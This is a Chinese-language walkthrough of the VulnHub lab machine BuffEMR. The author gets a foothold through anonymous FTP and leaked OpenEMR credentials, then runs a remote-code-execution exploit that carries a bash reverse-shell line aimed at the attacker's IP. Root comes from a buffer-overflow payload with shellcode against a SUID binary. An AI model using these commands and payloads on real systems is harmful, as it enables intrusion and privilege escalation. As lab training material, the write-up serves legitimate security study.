前期准備:
靶機地址:https://www.vulnhub.com/entry/buffemr-101,717/
kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.135
一、信息收集
1.使用nmap對目標靶機進行掃描

發現開放了 21、22 和 80 端口。
2. 21端口
匿名登錄 ftp:

發現 share 文件夾,查看一下:

發現是 openemr 的源碼,里面肯定藏有密碼什么的,推測 80 端口上的應該是 openemr 的網站,我先把整個目錄都下載下來了:
wget -r -np -nH ftp://192.168.11.135/share/openemr/

2. 80端口

查看源碼也沒發現什么,試着訪問一下 /openemr:

發現了登錄界面,需要密碼,應該在 ftp 的文件中

直接搜的admin,驗證后是 admin:Monster123,登錄進系統:

二、漏洞利用
查看一下版本:

發現是 v5.0.1 ,找一下相關漏洞:

有一個遠程代碼執行,查看一下利用方式:

嘗試利用:
python 45161.py http://192.168.11.135/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'

查看一下文件:

發現沒有權限訪問 buffemr 家目錄,不過在 /var 下發現個 user.zip 壓縮包,傳到kali上爆破一下:
python -m SimpleHTTPServer 8009
wget http://192.168.11.135:8009/user.zip


解壓時發現需要密碼,爆破了很久都沒爆破出來,一開始以為這個壓縮包沒用,后來想着密碼應該在 ftp 的哪些文件中,找了很久,直接找文件名為 key 的文件

密碼是:c2FuM25jcnlwdDNkCg==,解壓 user.txt 壓縮包:

發現了 buffemr 用戶的密碼:Iamgr00t, ssh 登錄:

查看文件,發現一個 flag:

三、緩沖區溢出提權
查看權限和 SUID 二進制文件:


發現 /opt/dontexecute 文件比較可疑,查看一下:

發現這個二進制文件使用了一個名為 "strcpy" 的函數。strcpy() 函數沒有指定目標數組的大小,會導致緩沖區溢出。可以嘗試溢出緩沖區來運行 shell 代碼獲取 root 權限,先看一下 ASLR 禁用了沒有:

發現禁用了,gdb 運行:
gdb -q dontexecute

然后用 metasploit 中的 pattern_create.rb 生成數量 1000 的字符串用來計算偏移量:

將生成的字符串用命令 r 在 gdb 中運行二進制文件:

程序運行崩潰,計算一下偏移量:
./pattern_offset.rb -q 0x31724130

計算出偏移量是 512,查看ESP寄存器的值:
x/300wx $esp
用esp 寄存器的 0xffffd6a0 替換 4 個 B,因為是小字節序,倒過來寫,構造 payload:
先找個 shell:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
我的 shell 是 53 字節:

NOP:512 - 53 = 459。
所以 payload:
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')

沒有提權成功,在外面運行一下:

獲得 root 權限,查看 flag:

